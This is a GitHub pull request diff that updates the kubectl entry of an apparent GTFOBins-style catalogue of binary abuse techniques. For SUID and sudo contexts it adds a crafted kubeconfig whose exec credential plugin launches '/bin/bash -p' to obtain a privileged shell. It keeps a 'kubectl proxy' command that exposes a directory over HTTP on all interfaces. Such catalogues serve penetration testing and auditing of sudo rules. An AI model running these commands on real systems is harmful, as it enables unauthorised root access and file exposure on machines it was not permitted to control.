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Update kubectl.md with privileged shell #504

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e057abb
Update kubectl.md
Rolix44 Jun 20, 2025
95832ff
Update kubectl.md
Rolix44 Jun 20, 2025
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64 changes: 62 additions & 2 deletions _gtfobins/kubectl.md
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Original file line number Diff line number Diff line change
@@ -1,16 +1,76 @@
---
description: It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`.
functions:
file-upload:
- code: |
LFILE=dir_to_serve
kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
description: "It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`."
suid:
- code: |
LFILE=dir_to_serve
./kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
sudo:
description: "It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`."
- code: |-
cat << EOF > /tmp/config
apiVersion: v1
clusters:
- cluster:
server: https://test
name: kubernetes
contexts:
- context:
cluster: kubernetes
user: kubernetes-admin
name: kubernetes-admin@kubernetes
current-context: kubernetes-admin@kubernetes
kind: Config
preferences: {}
users:
- name: kubernetes-admin
user:
exec:
apiVersion: client.authentication.k8s.io/v1
command: /bin/bash
args:
- "-p"
- "-c"
- "/bin/bash -p </dev/tty >/dev/tty 2>/dev/tty"
interactiveMode: Always
EOF
./kubectl get pods --kubeconfig=/tmp/config
description: "It pops a new privileged shell using custom configuration"
sudo:
- code: |
LFILE=dir_to_serve
sudo kubectl proxy --address=0.0.0.0 --port=4444 --www=$LFILE --www-prefix=/x/
description: "It serves files from a specified directory via HTTP, i.e., `http://<IP>:4444/x/<file>`."
- code: |-
cat << EOF > /tmp/config
apiVersion: v1
clusters:
- cluster:
server: https://test
name: kubernetes
contexts:
- context:
cluster: kubernetes
user: kubernetes-admin
name: kubernetes-admin@kubernetes
current-context: kubernetes-admin@kubernetes
kind: Config
preferences: {}
users:
- name: kubernetes-admin
user:
exec:
apiVersion: client.authentication.k8s.io/v1
command: /bin/bash
args:
- "-p"
- "-c"
- "/bin/bash -p </dev/tty >/dev/tty 2>/dev/tty"
interactiveMode: Always
EOF
sudo kubectl get pods --kubeconfig=/tmp/config
description: "It pops a new privileged shell using custom configuration"
---